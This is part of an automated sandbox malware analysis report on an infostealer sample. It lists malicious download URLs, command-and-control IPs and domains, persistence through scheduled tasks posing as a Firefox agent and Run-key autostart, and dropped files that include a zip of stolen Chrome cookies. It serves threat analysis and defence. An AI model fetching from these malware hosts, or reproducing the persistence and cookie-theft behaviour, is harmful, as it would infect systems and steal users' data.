http://194.180.174.181//l/f/9Z2CynwB3dP17SpzOnMI/9f3868956801fb92fa090557a1edc6020dc838a9	true	Avira URL Cloud: safe	unknown
http://194.180.174.181//l/f/_51AzHwB3dP17SpzL5Xz/3fa38023efb6f7516e4aff23353cd7c666085597	true	Avira URL Cloud: safe	unknown
http://znpst.top/dl/buildz.exe	true	Avira URL Cloud: malware	unknown
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	true	Avira URL Cloud: malware	unknown
http://194.180.174.181/	true	Avira URL Cloud: safe	unknown
http://194.180.174.181//l/f/_51AzHwB3dP17SpzL5Xz/3c5ef2028f9a45f85119eb6cb39f21b264b252bf	true	Avira URL Cloud: safe	unknown
http://toptelete.top/agrybirdsgamerept	true	Avira URL Cloud: malware	unknown
http://193.56.146.214/	false	Avira URL Cloud: safe	unknown
http://xacokuo8.top/	true	Avira URL Cloud: malware	unknown
http://hajezey1.top/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/DetailsDataSet1.xsd	319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000007.00000000.296667316.0000000006840000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	1xVPfvJcrg.36.dr	false		high
https://duckduckgo.com/ac/?q=	1xVPfvJcrg.36.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903580015046828032/039F9A54.jpg	89D7.exe.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	1xVPfvJcrg.36.dr	false		high
http://ocsp.sectigo.com0	86B8.exe.7.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903580013041967104/06ED9A1B.jpg	89D7.exe.7.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903333369742491648/1E88D378.jpg	EDD.exe, 0000001C.00000000.384142005.0000000000812000.00000002.00020000.sdmp, EDD.exe.7.dr	false		high
http://fontello.com	5D4.exe.7.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg	319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	1xVPfvJcrg.36.dr	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	AdvancedRun.exe.31.dr	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	1xVPfvJcrg.36.dr	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	AdvancedRun.exe.31.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903580017093660692/A303D181.jpg	89D7.exe.7.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg	5D4.exe.7.dr	false		high
https://ac.ecosia.org/autocomplete?q=	1xVPfvJcrg.36.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	86B8.exe.7.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg	319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	86B8.exe.7.dr	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0C	AdvancedRun.exe.31.dr	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0D	86B8.exe.7.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903580019203387432/930B55FC.jpg	89D7.exe.7.dr	false		high
http://www.nirsoft.net/	AdvancedRun.exe, AdvancedRun.exe, 00000023.00000002.433249054.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000002A.00000000.454048622.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.31.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg	5D4.exe.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	1xVPfvJcrg.36.dr	false		high
http://www.sqlite.org/copyright.html.	sqlite3.dll.36.dr	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	1xVPfvJcrg.36.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903196811345395712/6058E8D5.jpg	8746.exe.7.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
81.177.141.36	iyc.jelikob.ru	Russian Federation	8342	RTCOMM-ASRU	true
193.56.146.214	unknown	unknown	10753	LVLT-10753US	false
116.121.62.237	znpst.top	Korea Republic of	9578	CJNET-ASCheiljedangCoIncKR	true
172.67.160.46	toptelete.top	United States	13335	CLOUDFLARENETUS	false
194.180.174.181	unknown	unknown	39798	MIVOCLOUDMD	true
216.128.137.31	unknown	United States	20473	AS-CHOOPAUS	true
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
93.115.20.139	unknown	Romania	202448	MVPShttpswwwmvpsnetEU	false
162.159.133.233	unknown	United States	13335	CLOUDFLARENETUS	false
185.98.87.159	privacytoolzforyou-6000.top	Russian Federation	205840	VM-HOSTINGRU	true
45.141.84.21	nusurtal4f.net	Russian Federation	206728	MEDIALAND-ASRU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	511734
Start date:	29.10.2021
Start time:	15:28:09
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SkB6zJ6H3N.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@40/37@64/12
EGA Information:	Failed
HDC Information:	Successful, ratio: 49.3% (good quality ratio 32.3%) Quality average: 41.5% Quality standard deviation: 37.3%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.82.210.154, 173.222.108.210, 173.222.108.226, 20.54.110.249, 40.91.112.76, 40.112.88.60, 80.67.82.211, 80.67.82.235 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wus2-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:29:51	Task Scheduler	Run new task: Firefox Default Browser Agent 71E5B89E27185EFF path: C:\Users\user\AppData\Roaming\cviueca
15:30:41	API Interceptor	7x Sleep call for process: 32BC.exe modified
15:30:42	API Interceptor	40x Sleep call for process: powershell.exe modified
15:31:03	Task Scheduler	Run new task: Firefox Default Browser Agent FCA2534EFF53B25C path: C:\Users\user\AppData\Roaming\sfiueca
15:31:07	Task Scheduler	Run new task: Firefox Default Browser Agent 14D0FD35AB9411B6 path: C:\Users\user\AppData\Roaming\eviueca
15:31:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\45135c8c-e794-4096-a63b-63751937bee2\6DDE.exe" --AutoStart
15:31:57	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\45135c8c-e794-4096-a63b-63751937bee2\6DDE.exe s>--Task
15:32:00	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
15:32:01	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\45135c8c-e794-4096-a63b-63751937bee2\6DDE.exe" --AutoStart

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
81.177.141.36	RE0jBlQylG.exe	Get hash	malicious	Browse	k4dt.jelikob.ru/1780464471.exe
	9d185a3e5184065f1628af9d8325e53b8503a0f7705e5.exe	Get hash	malicious	Browse	k4d5y.jelikob.ru/854179346.exe
	sboPQqfpHN.exe	Get hash	malicious	Browse	hwg.jelikob.ru/126808361.exe
193.56.146.214	yj2Lz2zdxp.exe	Get hash	malicious	Browse	193.56.146.214/
193.56.146.214	HScFcN13Wz.exe	Get hash	malicious	Browse	193.56.146.214/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
iyc.jelikob.ru	Md0q201V1D.exe	Get hash	malicious	Browse	81.177.141.36
	yj2Lz2zdxp.exe	Get hash	malicious	Browse	81.177.141.36
	y1JBw0eea5.exe	Get hash	malicious	Browse	81.177.141.36
	21sSRmeUyz.exe	Get hash	malicious	Browse	81.177.141.36
	Bi6Q4LEA04.exe	Get hash	malicious	Browse	81.177.141.36
	Fo69229D6C.exe	Get hash	malicious	Browse	81.177.141.36
	plf5v18Xds.exe	Get hash	malicious	Browse	81.177.141.36
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	81.177.141.36
	pSY2vVxk86.exe	Get hash	malicious	Browse	81.177.141.36
	HScFcN13Wz.exe	Get hash	malicious	Browse	81.177.141.36
	w1voKmCYOz.exe	Get hash	malicious	Browse	81.177.141.36
	bg5hiAKH5y.exe	Get hash	malicious	Browse	81.177.141.36
	e4eukUb6d1.exe	Get hash	malicious	Browse	81.177.141.36
	KZrl2MY8C5.exe	Get hash	malicious	Browse	81.177.141.36
	AY5uCs0HrY.exe	Get hash	malicious	Browse	81.177.141.36
	Hgny9xwmj6.exe	Get hash	malicious	Browse	81.177.141.36
	Pv9fSenm0V.exe	Get hash	malicious	Browse	81.177.141.36
	t63ouMqJ8f.exe	Get hash	malicious	Browse	81.177.141.36
	pq9FtcL817.exe	Get hash	malicious	Browse	81.177.141.36
	gnykCySWj5.exe	Get hash	malicious	Browse	81.177.141.36
privacytoolzforyou-6000.top	AyAj5GJqIg.exe	Get hash	malicious	Browse	5.188.88.203
	Md0q201V1D.exe	Get hash	malicious	Browse	5.188.88.203
	yj2Lz2zdxp.exe	Get hash	malicious	Browse	5.188.88.203
	y1JBw0eea5.exe	Get hash	malicious	Browse	5.188.88.203
	21sSRmeUyz.exe	Get hash	malicious	Browse	5.188.88.203
	Bi6Q4LEA04.exe	Get hash	malicious	Browse	5.188.88.203
	rouraiQ4P3.exe	Get hash	malicious	Browse	185.185.69.21
	Fo69229D6C.exe	Get hash	malicious	Browse	185.185.69.21
	plf5v18Xds.exe	Get hash	malicious	Browse	185.185.69.21
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	185.185.69.21
	pSY2vVxk86.exe	Get hash	malicious	Browse	185.185.69.21
	HScFcN13Wz.exe	Get hash	malicious	Browse	185.185.69.21
	w1voKmCYOz.exe	Get hash	malicious	Browse	185.185.69.21
	bg5hiAKH5y.exe	Get hash	malicious	Browse	185.185.69.21
	e4eukUb6d1.exe	Get hash	malicious	Browse	185.185.69.21
	KZrl2MY8C5.exe	Get hash	malicious	Browse	185.185.69.21
	AY5uCs0HrY.exe	Get hash	malicious	Browse	185.185.69.21
	Hgny9xwmj6.exe	Get hash	malicious	Browse	185.185.69.21
	Pv9fSenm0V.exe	Get hash	malicious	Browse	185.185.69.21
	t63ouMqJ8f.exe	Get hash	malicious	Browse	185.185.69.21

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LVLT-10753US	yj2Lz2zdxp.exe	Get hash	malicious	Browse	193.56.146.214
	y1JBw0eea5.exe	Get hash	malicious	Browse	193.56.146.214
	Bi6Q4LEA04.exe	Get hash	malicious	Browse	193.56.146.214
	vEBWe85OY5	Get hash	malicious	Browse	208.51.98.34
	Fo69229D6C.exe	Get hash	malicious	Browse	193.56.146.214
	HScFcN13Wz.exe	Get hash	malicious	Browse	193.56.146.214
	AY5uCs0HrY.exe	Get hash	malicious	Browse	193.56.146.214
	t63ouMqJ8f.exe	Get hash	malicious	Browse	193.56.146.214
	wRmHCEnowI	Get hash	malicious	Browse	94.154.174.104
	eImb49ofup	Get hash	malicious	Browse	94.154.174.115
	f5a160643d5d68888ca63351aa503284c14971b9d6d22.exe	Get hash	malicious	Browse	193.56.146.64
	hNsTaM2BAu	Get hash	malicious	Browse	168.215.14.42
	eBQ4XSarFt	Get hash	malicious	Browse	147.207.217.91
	6Uh6CSZ8oN	Get hash	malicious	Browse	147.207.27.141
	Tsunami.x86	Get hash	malicious	Browse	94.154.174.132
	nfmAUVANYA	Get hash	malicious	Browse	200.24.17.224
	DqvtaJLisV.exe	Get hash	malicious	Browse	193.56.146.60
	w347KbpZ6t.exe	Get hash	malicious	Browse	193.56.146.60
	V5cy4riN4O.exe	Get hash	malicious	Browse	193.56.146.60
	Hm7d40tE44.exe	Get hash	malicious	Browse	193.56.146.188
RTCOMM-ASRU	Md0q201V1D.exe	Get hash	malicious	Browse	81.177.141.36
	yj2Lz2zdxp.exe	Get hash	malicious	Browse	81.177.141.36
	y1JBw0eea5.exe	Get hash	malicious	Browse	81.177.141.36
	21sSRmeUyz.exe	Get hash	malicious	Browse	81.177.141.36
	Bi6Q4LEA04.exe	Get hash	malicious	Browse	81.177.141.36
	Fo69229D6C.exe	Get hash	malicious	Browse	81.177.141.36
	plf5v18Xds.exe	Get hash	malicious	Browse	81.177.141.36
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	81.177.141.36
	pSY2vVxk86.exe	Get hash	malicious	Browse	81.177.141.36
	HScFcN13Wz.exe	Get hash	malicious	Browse	81.177.141.36
	w1voKmCYOz.exe	Get hash	malicious	Browse	81.177.141.36
	bg5hiAKH5y.exe	Get hash	malicious	Browse	81.177.141.36
	e4eukUb6d1.exe	Get hash	malicious	Browse	81.177.141.36
	KZrl2MY8C5.exe	Get hash	malicious	Browse	81.177.141.36
	AY5uCs0HrY.exe	Get hash	malicious	Browse	81.177.141.36
	Hgny9xwmj6.exe	Get hash	malicious	Browse	81.177.141.36
	Pv9fSenm0V.exe	Get hash	malicious	Browse	81.177.141.36
	t63ouMqJ8f.exe	Get hash	malicious	Browse	81.177.141.36
	pq9FtcL817.exe	Get hash	malicious	Browse	81.177.141.36
	gnykCySWj5.exe	Get hash	malicious	Browse	81.177.141.36

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	21sSRmeUyz.exe	Get hash	malicious	Browse	81.177.141.36
	97HaxOZ8Wu.exe	Get hash	malicious	Browse	81.177.141.36
	97HaxOZ8Wu.exe	Get hash	malicious	Browse	81.177.141.36
	6810825092 ISF - EMC ___ - Draft.scr.exe	Get hash	malicious	Browse	81.177.141.36
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	81.177.141.36
	pSY2vVxk86.exe	Get hash	malicious	Browse	81.177.141.36
	HScFcN13Wz.exe	Get hash	malicious	Browse	81.177.141.36
	w1voKmCYOz.exe	Get hash	malicious	Browse	81.177.141.36
	bg5hiAKH5y.exe	Get hash	malicious	Browse	81.177.141.36
	e4eukUb6d1.exe	Get hash	malicious	Browse	81.177.141.36
	KZrl2MY8C5.exe	Get hash	malicious	Browse	81.177.141.36
	Hgny9xwmj6.exe	Get hash	malicious	Browse	81.177.141.36
	Pv9fSenm0V.exe	Get hash	malicious	Browse	81.177.141.36
	lO6Gq6TznP.exe	Get hash	malicious	Browse	81.177.141.36
	spectrum_internet_service_level_agreement.js	Get hash	malicious	Browse	81.177.141.36
	spectrum_internet_service_level_agreement.js	Get hash	malicious	Browse	81.177.141.36
	6oi3E5jdTR.exe	Get hash	malicious	Browse	81.177.141.36
	Jm3x80kZjO.exe	Get hash	malicious	Browse	81.177.141.36
	J4sqj3xhBf.doc	Get hash	malicious	Browse	81.177.141.36
	4BxZpwUFPO.exe	Get hash	malicious	Browse	81.177.141.36
54328bd36c14bd82ddaa0c04b25ed9ad	QM5qEGS2aT.exe	Get hash	malicious	Browse	162.159.135.233
	TEXTIL_0172PDF.exe	Get hash	malicious	Browse	162.159.135.233
	PO202102900010 #QUoTE - 115892.exe	Get hash	malicious	Browse	162.159.135.233
	21sSRmeUyz.exe	Get hash	malicious	Browse	162.159.135.233
	090-08765412345670089009765.exe	Get hash	malicious	Browse	162.159.135.233
	PO# 5100299028__0001.exe	Get hash	malicious	Browse	162.159.135.233
	PAYMENT TRANSFER.exe	Get hash	malicious	Browse	162.159.135.233
	- 2021..exe	Get hash	malicious	Browse	162.159.135.233
	PeSTW7v5yC.exe	Get hash	malicious	Browse	162.159.135.233
	ir7Dw3fZ29.exe	Get hash	malicious	Browse	162.159.135.233
	pSY2vVxk86.exe	Get hash	malicious	Browse	162.159.135.233
	HScFcN13Wz.exe	Get hash	malicious	Browse	162.159.135.233
	w1voKmCYOz.exe	Get hash	malicious	Browse	162.159.135.233
	PO10976 B86b0mDlYqpH2306105pdf.doc	Get hash	malicious	Browse	162.159.135.233
	bg5hiAKH5y.exe	Get hash	malicious	Browse	162.159.135.233
	e4eukUb6d1.exe	Get hash	malicious	Browse	162.159.135.233
	KZrl2MY8C5.exe	Get hash	malicious	Browse	162.159.135.233
	DHL-SHIPMENT_INFO.exe	Get hash	malicious	Browse	162.159.135.233
	qOwryRbbIy.exe	Get hash	malicious	Browse	162.159.135.233
	987654GYYHGFD34567890-0987TGH.exe	Get hash	malicious	Browse	162.159.135.233

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\1xVPfvJcrg Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\2U0MzuqSVXm.zip Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	1183
Entropy (8bit):	7.495262700309787
Encrypted:	false
SSDEEP:	24:9ij0WFTWzD9k/UeLp6WUwl5QP8HYE2xt/Qt7me7+F/l:9SoH9k8eLIW5Q62xJQpmkAt
MD5:	B42CE9AAF8B16C05F41321E37F95ABD0
SHA1:	789EC1723324AA43F373304B136136941D46D4D4
SHA-256:	0CF2C9A321BCEF3C946C88435F36CBB5CB80DE9311E133B8853884FE6A30586D
SHA-512:	CC23DA73DBE44608D0D97B6F840FD70AEFF651162596E828D04B31172960D592A616E2D577B70B4DEA091216BA425790F27FADC62532E80745A0959C41D515D4
Malicious:	false
Reputation:	unknown
Preview:	PK........F\|]SXVQ............browsers/cookies/Google Chrome_Default.txtUT.....\|a..\|a..\|a%..n. ...K.)t....#H..\U ..6.(.k...w......v.....Y....a..0L..`$@a.f.yp....^.G. j..ur.J.n.DD.eslF.;s.Vz..;..0.S%R...L~.3)..v.m...P.._.;..s...\$...F@w...\.h....."..3>.1.[.%.....%.w.%f.....PK........\\|]Si.I....E.......System Info.txtUT.....\|a..\|a..\|auSMo.0.=.J..s$RA...8-.j..t.$.J.T...Ub#.....;4.m..".y..<.ff-.......I..s.........UU..9..P.Ff.m%.....X..qFc`.Q._.V.{Y.h.7,.$`)..X.FY...r..N.4....f$....q...h..~....4]...O.......=..u...;...tXc...s........J8.dl...........5......h..Y..#.B.Z.C7.zW)......1..~.{.....$..8.,.x.^....D. ..SH.>.)!...b....yR....%x..l.^.n.i..._N8g..k'.~.?:.E.(].'....$...M.\|YYS.....LI..\...>..8..Y]g.`#+o=.......p.c........_..p.tC%.\|....r...<........VJ.x.T..=...L....)WW..G.Q..\....,Ua.3..L.S.;-/E..}9I....p...Q.....I.Q.N4.....fS.h....FH..........9Hl..H..$.(....u.dp....<..A.qV....Q@2.....Bx (......Y(...t`..q.a..R.O..)-...u.~M.(.X.. d.D50/Ug....PK....

C:\Users\user\AppData\LocalLow\RYwTiizs2t Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Tx3inWO7Su Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4588965670203364
Encrypted:	false
SSDEEP:	48:T1YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:OWU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	16C3DE08951964D7D40D5205692A3D82
SHA1:	EA06159A8A50E853806DD09F830B0C39E3374E75
SHA-256:	2DB39320E9691AC1690723A33BC7AA2330B1B63621B3AFAEDBEB0E10463192F5
SHA-512:	E0B54313A7A6188DC711CCDC7854CEF3456D79BA1E29AF7BD7310733B03167434D063C3D51DBB63D426919088104D46CA42815DEF9337B4C604F1DD0150CCE5A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\rQF69AzBla Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6969296358976265
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ
MD5:	A9DBC7B8E523ABE3B02D77DBF2FCD645
SHA1:	DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8
SHA-256:	39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE
SHA-512:	3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\32BC.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916735
Entropy (8bit):	6.514932604208782
Encrypted:	false
SSDEEP:	24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX
MD5:	F964811B68F9F1487C2B41E1AEF576CE
SHA1:	B423959793F14B1416BC3B7051BED58A1034025F
SHA-256:	83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7
SHA-512:	565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\319A.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\319A.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
